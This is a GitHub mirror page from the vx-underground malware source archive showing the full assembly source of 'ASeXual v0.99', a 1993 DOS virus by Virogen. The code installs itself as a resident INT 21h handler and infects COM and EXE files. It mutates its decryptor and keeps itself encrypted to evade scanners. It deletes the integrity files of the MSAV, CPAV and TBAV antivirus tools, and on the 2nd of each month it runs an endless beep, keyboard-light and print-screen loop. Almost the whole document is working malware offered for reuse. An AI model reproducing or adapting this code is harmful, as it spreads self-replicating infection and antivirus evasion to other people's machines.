13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-27 09:28:25 +00:00
vxug-MalwareSourceCode/MSDOS/A-Index/Virus.MSDOS.Unknown.asex_099.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

863 lines
35 KiB
NASM

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ************************************************
; ASeXuAl v0.99 - BY VIROGEN - 10-12-93
; ************************************************
; - Compatible with : TASM /m2
;
; This virus is actually the continuance of the Offspring line of virii..
; BUT I decided to change the name because 98% of the virus code has
; changed since the released of the first Offspring virus, and I felt
; this release had substantial changes that finally merit a new name!
;
; ASeXual v0.99
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
; characteristics:
; This virus is a memory resident parastic COM infector and spawning
; EXE infector. It is mutative.. with only 2 bytes remain constant
; in replicated copies, but none in constant relative locations to the start
; of viral code or to each other. It infects up to 5 files in the
; current directory which a program is executed or a new drive is selected.
; It first searches out EXE hosts, and if there are none to be infected,
; it then proceeds to COM infections. All ANTI-VIR.* and CHKLST.* files
; in the current directory are killed before any file is infected. This
; virus is also kept encrypted in memory to prevent easy detection of it
; there too. It's code is stored just below the 640k boundary.
;
; activation:
; This is a non-malicious virus and it's activation is simple.. On the
; 2nd of any month, when an infected program is executed it displays :
; "ASeXual virus v0.99 - Your computer has been artificially Phucked!"
; .. while beeping and flashing the keyboard lights as well as attempting
; print screens.
;
; Do whatever you want with this virus.. but don't take my name off
; the code. .. oh yea.. and don't hold me responsible if you infect
; yourself, or someone else. It's not my problem.
;
title ASeXual v0.99
cseg segment
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; equates
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
signal equ 7fh ; Installation check
reply equ 0fah ; reply to check
max_inf equ 05 ; Maximum files to infect per run
max_rotation equ 9 ; number of bytes in switch byte table
parastic equ 01 ; Parastic infection
spawn equ 00 ; Spawning infection
org 100h ; Leave room for PSP
start:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Encryption/Decryption routine location
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
fill_space :
shit_space db 6 dup(0) ; help to keep TBAV warnings down
address_fill: jmp non_res ; only in original compilation
db 17 dup(0) ; MOV DI|SI placed here
encrypt: ; For call from memory
cx_fill db 20 dup(0) ; MOV CX,XXXX placed here
xor_inc_space db 100 dup(0) ; XOR and INC DI|SI(2) placed here
loop_fill db 10 dup(0) ; LOOP Placed Here
enc_data:
ret_byte dw 9090h ; Changes to RET (0C3h) - then back to NOP
jmp non_res ; jump to nonresident code
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 21h - DOS function calls
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no ; nope..
mov ah,reply ; yep, give our offspring what he wants
jmp end_21 ; end our involvment
no:
cmp ah,0Eh ; select disk?
je run_res ; yes.. let's infect
cmp ax,4b00h ; exec func?
jne end_21 ; nope.. don't infect shit
exec_func:
cmp ch,0FBh ; Is our virus executing this prog?
je end_21 ; yes, return to orginal INT 21h
run_res:
pushf ; Push flags
push ax ; Push regs
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs ; ds=cs
pop ds
mov ah,2fh ; Get DTA Address
int 21h ;
mov ax,es ; Save it so we can restore it
mov word ptr old_dta,bx
mov word ptr old_dta+2,ax
push cs ; es=cs
pop es
call encrypt_mem ; decrypt virus in memory
call resident ; Call infection kernal
call encrypt_mem ; encrypt virus in memory
mov dx,word ptr old_dta ; restore DTA
mov ax,word ptr old_dta+2 ;
mov ds,ax ;
mov ah,1ah ;
int 21h ;
pop ss ; Pop regs
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
popf ; Pop flags
end_21 :
db 0eah ; jump to original int 21h
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
new21 endp ; End of handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Encrypt/Decrypt - For memory encryption
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
encrypt_mem proc
lea di,memory_encrypted
mov cx,(offset vend-offset memory_encrypted)/2
mem_xor_loop:
db 81h,35h ; XOR word ptr [DI],
xor_mem dw 0 ; XXXX : 0-5999
inc di ; increment pointer
inc di ; increment pointer
loop mem_xor_loop ; loop..
ret ; return
encrypt_mem endp
memory_encrypted: ; start encryption in memory here..
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 24h - Critical Error Handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
eh proc
mov al,3 ; fail call
iret ; interrupt return
eh endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Clear ff/fn buf
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
clear_buf proc
mov word ptr fcb,0 ; Clear ff/fn buffer
lea si, fcb
lea di, fcb+2
mov cx, 22
cld
rep movsw
ret
clear_buf endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Findfirst
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ff_func proc
call clear_buf ; Clear FCB
mov ah, 4eh ; Findfirst
xor cx, cx ; Set normal file attribute search
mov dx, fname_off
int 21h
ret
ff_func endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Findnext
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
fn_func proc
mov ah,4fh ; find next file
int 21h ;
ret
fn_func endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Fills encryption/decryption routine
;
; call with DX=word to fill with
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
clear_encryptor proc
mov cx,78 ; 156 bytes
lea si,fill_space ; beginning of null space
fill_loop:
mov [si],dx ; fill null bytes with same op
inc si ;
inc si ;
loop fill_loop ;
ret
clear_encryptor endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Resident - This is called from our INT 21h handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
resident proc
xor ax,ax ; es=segment 0
mov es,ax ; ..
mov ax,es:[24h*4+2] ; get segment of INT 24h
mov bx,es:[24h*4] ; get offset of INT 24h
mov old_eh_seg,ax ; save segment
mov old_eh_off,bx ; save offset
cli ; turn off interrupts
mov es:[24h*4+2],ds ; set segment to our handler
lea ax,eh ;
mov es:[24h*4],ax ; set offset to our handler
sti
push ds ; es=ds
pop es
; Set DTA address - This is for the
mov ah, 1ah ; findfirst/findnext functions
lea dx, fcb
int 21h
mov byte ptr vtype,spawn ; infection type = spawning
mov word ptr set_bp,0000 ; BP=0000 on load
mov byte ptr inf_count,0 ; null infection count
mov fname_off, offset spec ; Set search for CHKLIST.*
mov word ptr mov_di,offset enc_data ; offset past encrypt.
cont_res:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; KIll chklist.* (MSAV,CPAV) and anti-vir.* (TBAV) files
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
xor cx,cx ; keep track of which we've killed
kill_another_spec:
push cx
call ff_func ; find first
jc done_kill ; none found.. done
kill_loop:
mov ax,4301h ; Set file attributes to null
xor cx,cx ;
lea dx,f_name ;
int 21h ;
mov ah,3ch ; create file = nullify size
xor cx,cx ;
lea dx,f_name ;
int 21h ;
push ax ; get handle
pop bx ;
mov ah,3eh ; close file
int 21h ;
mov ah,41h ; delete the file to finish 'er off
lea dx,f_name ;
int 21h ;
call fn_func
jnc kill_loop ; if more then kill 'em
done_kill:
pop cx ; restore spec counter
inc cx ; increment spec counter
mov fname_off,offset spec2 ; new file spec to kill
cmp cx,2 ; have we already killed both?
jne kill_another_spec ; nope.. kell 'em
mov fname_off,offset fname1
find_first:
call ff_func ; findfirst
jnc next_loop ; if still finding files then loop
jmp exit ; if not.. then end this infection
next_loop :
cmp byte ptr vtype, parastic ; parastic infection?
je start_inf ; yes, skip all this
mov ah,47h ; get directory for
xor dl,dl ; ..spawning infections
lea si,file_dir ;
int 21h ;
cmp word ptr f_sizel,0 ; Make sure file isn't 64k+
je ok_find ; for spawning infections
jmp find_file
ok_find:
xor bx,bx ;
lm3 : ; find end of directory name
inc bx ;
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\' ; append backslash to path
inc bx
mov cx,13 ; append filename to path
lea si,f_name
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
loop_me: ; search for filename ext.
inc bx
cmp byte ptr fcb+1eh [bx], '.'
jne loop_me
inc bx ; change it to COM
mov word ptr fcb+1eh [bx],'OC'
mov byte ptr fcb+1eh [bx+2],'M'
start_inf:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Change jump & fill space register
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
cmp byte ptr new_code, 0BFh
jne inc_both
mov nop_sub, 3fh
mov byte ptr new_code, 0B7h
mov byte ptr push_reg, 4Fh
inc_both:
inc nop_sub ; increment register
inc byte ptr new_code ; increment register
inc byte ptr push_reg ; increment register
cmp nop_sub, 044h ; don't use SP
je inc_both
done_change_jmp:
cmp byte ptr vtype, parastic ; parastic infection?
je parastic_inf ; yes.. so jump
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Spawning infection
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov word ptr new_code+1,offset fill_space
lea dx,f_name
mov cx, 02h ; read-only
or cx, 01h ; hidden
mov ah, 3ch ; Create file
int 21h ; Call INT 21H
jnc contin ; If Error-probably already infected
jmp no_infect
contin:
inc inf_count
mov bx,ax
jmp encrypt_ops
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Parastic infection
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
parastic_inf :
lea si,f_name ; Is Command.COM?
lea di,com_name
mov cx,11
cld
repe cmpsb
jne cont_inf0 ; Yes, don't infect
jmp no_infect
cont_inf0:
mov ax,3d02h ; Open file for reading & writing
lea dx,f_name ; Filename in FF/FN buffer
int 21h
jnc cont_inf1 ; error, skip infection
jmp no_infect
cont_inf1:
mov bx,ax ; get handle
mov ah,3fh ; Read first bytes of file
mov cx,07
lea dx,org_bytes
int 21h
cmp byte ptr org_bytes+4,0C3h ; already infected?
jne cont_inf ; nope let's infect this sucker
mov ah,3eh
int 21h
jmp no_infect
cont_inf:
inc inf_count
mov ax,4202h ; Set pointer to end of file, so we
xor cx,cx ; can find the file size
xor dx,dx
int 21h
mov word ptr set_bp,ax ; Change the MOV BP inst.
add ax, offset enc_data
mov word ptr mov_di,ax ; chg mov di,xxxx
mov ax,4200h ; set file pointer to beginning
xor cx,cx
xor dx,dx
int 21h
mov ax,word ptr f_sizeh ; save new address for parastic
add ax,offset fill_space ;
mov word ptr new_code+1,ax ;
mov ah,40h ; write new first 7 bytes
mov cx,7 ; .. jumps to virus code
lea dx,new_code ;
int 21h ;
mov ax,4202h ; Set file pointer to end of file
xor cx,cx ;
xor dx,dx ;
int 21h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Change encryptions ops
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
encrypt_ops:
push bx ; save file handle
cmp pad_bytes,100h ; no more increase in file size?
je reset_pad ; if yes, reset
inc word ptr pad_bytes ; Increase file size
inc word ptr b_wr ; make note of the increase
jmp pad_ok ; don't reset pad
reset_pad:
mov word ptr pad_bytes,0 ; reset pad size
sub word ptr b_wr,100h ; make note of decrease
pad_ok:
cmp inc_op,47h ; change ops from DI to SI
jne set2 ; jmp-change ops to SI
dec inc_op ; .. change code to use DI
dec byte ptr xor_op+1 ;
dec di_op ;
dec byte ptr enc_addr ;
dec byte ptr enc_add+1 ;
jmp chg_three ;
set2:
inc inc_op ; increment code to use SI
inc byte ptr xor_op+1 ;
inc di_op ;
inc byte ptr enc_addr ;
inc byte ptr enc_add+1 ;
chg_three:
mov dh,byte ptr nop_sub ; which byte did we use to fill space?
cmp dh,48h ; if INC AX then we need to reset it
jne _change ; else decrement it
mov dh,40h ; reset to DEC AX
_change:
cmp dh,41h ; Don't use INC CX..
jne no_conflict ;
mov dh,48h ; Change it to DEC AX instead
no_conflict:
cmp dh,47h ; Don't use INC DI
jne no_conflict2 ;
mov dh,4Bh ; Use DEC BX Instead
no_conflict2:
cmp dh,46h ; Don't use INC SI
jne no_conflict3
mov dh,0FBh ; Use STI instead
no_conflict3:
mov dl,dh ; mov into word reg dx
call clear_encryptor ; fill encryption routine with op
mov ah,inc_op ; get register to increment
mov bx,change_num ; get current rotate count
cmp bh,0 ; are we at the end of the INCs?
jne no_reset_change ; nope.. continue
mov bh,99 ; reset INC #1 position
xor bl,bl ; reset INC #2 position
no_reset_change:
inc bl ; Increment INC #2 position
dec bh ; Decrement INC #1 position
mov cl,bl ; store position in CL to add
xor ch,ch ; high byte = 0
lea si,xor_inc_space ;
push si ; save address
push si ; save it twice
add si,cx ; add INC #2 position to SI
mov byte ptr [si],ah ; move INC #2 into address
pop si ; restore address of fill_space
mov cl,bh ; store position in CL to add
xor ch,ch ; high byte = 0
add si,cx ; add INC #1 position to SI
mov byte ptr [si],ah ; move INC #1 into address
mov change_num,bx ; store updated rotation number
pop si ; get xor_inc_space address
mov ax,xor_pos ; get old position of XOR
cmp ax,95 ; is it at the end of the buffer?
jne xor_ok ; nope.. increment its position
mov ax,10 ; reset position to buffer+10
xor_ok:
inc ax ; increment position pointer
add si,ax ; build pointer
mov dx,word ptr xor_op ; get XOR op
mov [si],dx ; place it into position
mov xor_pos,ax ; save new XOR location
mov ax,addr_pos ; get old position of MOV DI|SI
cmp ax,17 ; at end of buffer?
jne addr_inc ; nope.. go increment
xor ax,ax ; yes.. reset to null
addr_inc:
inc ax ; increment pointer
lea di,address_fill ; get buffer address
add di,ax ; build pointer
lea si,di_op ; get address of op
mov cx,3 ; 3 bytes
rep movsb ; copy op to location in buffer
mov addr_pos,ax ; save new MOV DI|SI position
mov ax,cx_pos ; get old position of MOV CX
cmp ax,0 ; back to beginning of buffer?
jne cx_dec ; nope.. decrement location
mov ax,17 ; reset to last position in buffer
cx_dec:
dec ax ; decrement pointer
lea di,cx_fill ; get address of buffer
add di,ax ; build pointer to new location
lea si,cx_op ; get address of MOV CX op
mov cx,3 ; 3 bytes length
rep movsb ; copy to new location
mov cx_pos,ax ; save new position of MOV CX
mov ax,loop_pos ; get old position of LOOP
cmp ax,0 ; at beginning of buffer?
jne loop_inc ; nope decrement
mov ax,8 ; reset to end of buffer
loop_inc:
dec ax ; decrement pointer
lea di,loop_fill ; get address of buffer
add di,ax ; build pointer
mov dl,0E2h ; 0E2XX=LOOP XXXX
xor ch,ch ; high byte=null
mov cl,9Ah ; calculate LOOP offset
sub cx,ax ;
mov dh,cl ; save new offset
mov [di],dx ; write LOOP op
mov loop_pos,ax ; save new position of LOOP
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Get random XOR number, save it, copy virus, encrypt code
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
d2:
mov ah,2ch ;
int 21h ; Get random number from clock - sec/ms
lea si,xor_inc_space+2 ; build pointer to XOR location+2
add si,xor_pos ;
mov word ptr [si],dx ; save encryption #
push dx
mov word ptr xor_mem,0000
mov si,0100h ; 100h=start of virus in memory
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb ; copy virus outside of code
pop dx
mov word ptr xor_mem,dx
enc_addr:
mov di,offset vend
enc_add:
add di,offset enc_data-100h+50 ; offset of new copy of virus
go_enc:
mov byte ptr ret_byte,0c3h ; make encryption routine RET
call encrypt ; encrypt new copy of virus
mov byte ptr ret_byte,90h ; Reset it to no RETurn
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Write and close new infected file
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pop bx
mov cx, offset vend-100h ; # of bytes to write
add cx, pad_bytes
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
mov ax,5701h ; Restore data/time
mov cx,word ptr f_time ; time from FCB
mov dx,word ptr f_date ; date from FCB
int 21h
close:
mov ah, 3eh ; close file
int 21h
no_infect:
find_file:
cmp inf_count, max_inf ; Max files found?
je exit ; yes, end infection
call fn_func
jc exit ; if no files found.. quit
jmp next_loop ; infect the next file
exit :
cmp inf_count,0 ; Start parastic infection on next run
jne find_done ; nope.. we're done
cmp byte ptr vtype, parastic ; Parastic infection done?
je find_done ; yep, exit already
mov fname_off, offset fname2 ; Point to new filespec
mov byte ptr vtype, parastic ; virus type = parastic
jmp find_first ; do it again for parastic
find_done:
xor ax,ax
mov es,ax ; es = 0
cli ; interrupts off
mov ax,old_eh_seg ; get old int 24h segment
mov bx,old_eh_off ; get old int 24h offset
mov es:[24h*4+2],ax ; restore int 24h segment
mov es:[24h*4],bx ; restore int 24h offsetn
sti ; interrupts on
xor dx,dx ; fill encryption routine with 0
call clear_encryptor ; .. maybe help lessen IDed in memory?
ret ; return
resident endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Non-Resident portion of virus
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
non_res proc
db 0bdh ; MOV BP,xxxx - Load delta offset
set_bp: dw 0000
mov ax,ds: 002ch ; Get environment address
mov par_blk[bp],ax ; Save in parameter block for exec
mov par1[bp],cs ; Save segments for spawn
mov par2[bp],cs
mov par_seg[bp],cs
mov ah,2ah ; Get date
int 21h
cmp dl,2 ; 2nd?
jne no_display ; nope.. don't activate today
show_myself:
mov ah,09 ; display virus name
lea dx,v_id[bp]
int 21h
xor ax,ax ; seg 0
mov es,ax
mov dx,1010101010101010b ; lights
chg_lights: ; Infinite loop to change keyboard
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
ror dx,1 ; rotate bits
mov cx,0101h ; scan code/ascii
mov ah,05h ; push a beep onto keyb buf
int 16h
mov ah,10h ; Read key back so we don't fill
int 16h ; up the keyboard buffer
int 5h ; Print-Screen
mov ax,0a07h ; Write BEEP to screen
xor bh,bh
mov cx,1
int 10h
mov ah,86h ; Delay
mov cx,0002h
int 15h
jmp chg_lights
no_display:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INSTALL - Install the virus in memory
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov ah,signal ; is virus already in mem?
int 21h
cmp ah,reply ;
jne cont_i ; nope.. continue
jmp no_install ; yes.. don't install again
cont_i:
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
;the chain?
jne no_install
cont_i2:
mov ax,ds: [3] ;Block size in MCB
sub ax,230 ;Shrink Block Size-quick estimate
mov ds: [3],ax
mov bx,ax
mov ax,es
add ax,bx
mov es,ax ;Find high memory seg
mov si,bp
add si,0100h
mov cx,(offset vend - offset start)/2
mov ax,ds
inc ax
mov ds,ax
mov di,100h ; New location in high memory
cld
rep movsw ; Copy virus to high memory
push es ; ds=es
pop ds
xor ax,ax
mov es,ax ; null es
mov ax,es: [21h*4+2] ; store old int addresses
mov bx,es: [21h*4]
mov ds: old21_seg,ax
mov ds: old21_ofs,bx
cli ; disable interrrupts
mov es: [21h*4+2],ds ; Set new addresses
lea ax, new21
mov es: [21h*4],ax
sti ; re-enable interrupts
no_install:
push cs ; Restore segment regs
pop ds
push cs
pop es
cmp byte ptr vtype[bp],parastic ; parastic infection?
je com_return ; yes, return to start of COM
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
lea dx,file_dir-1[bp] ; Execute the original EXE
lea bx,par_blk[bp]
mov ch,0FBh ; tell mem. resident virus
mov ax,4b00h ; that it's us.
int 21h
mov ah,4ch ; Exit
int 21h
com_return:
mov si,bp ;
mov cx,7 ; Restore original first
add si,offset org_bytes ; seven bytes of COM file
mov di,0100h ;
cld ;
rep movsb ;
mov ax,0100h ; Jump back to 100h - start of
push ax ; original program
ret ;
non_res endp
vtype db spawn ; Infection type
com_name db 'COMMAND.COM' ; obvious
org_bytes db 7 dup(0) ; original first seven bytes of parastic inf.
pad_bytes dw 0 ; Increase in virus size
inc_op db 47h ; INC DI (47h) or INC SI (46h)
nop_sub db 40h ; fill byte
copyr db '(c)1993 - Virogen' ; I must allow myself to be prosecuted
v_id db 0ah,0dh,'ASeXual Virus V0.99 - Your computer has been artificially Phucked!$'
spec db 'CHKLIST.*',0 ; MS/CPAV Checksom kill
spec2 db 'ANTI-VIR.*',0 ; TBAV Checksum kill
fname1 db '*.EXE',0 ; Filespec
fname2 db '*.COM',0 ; Filespec
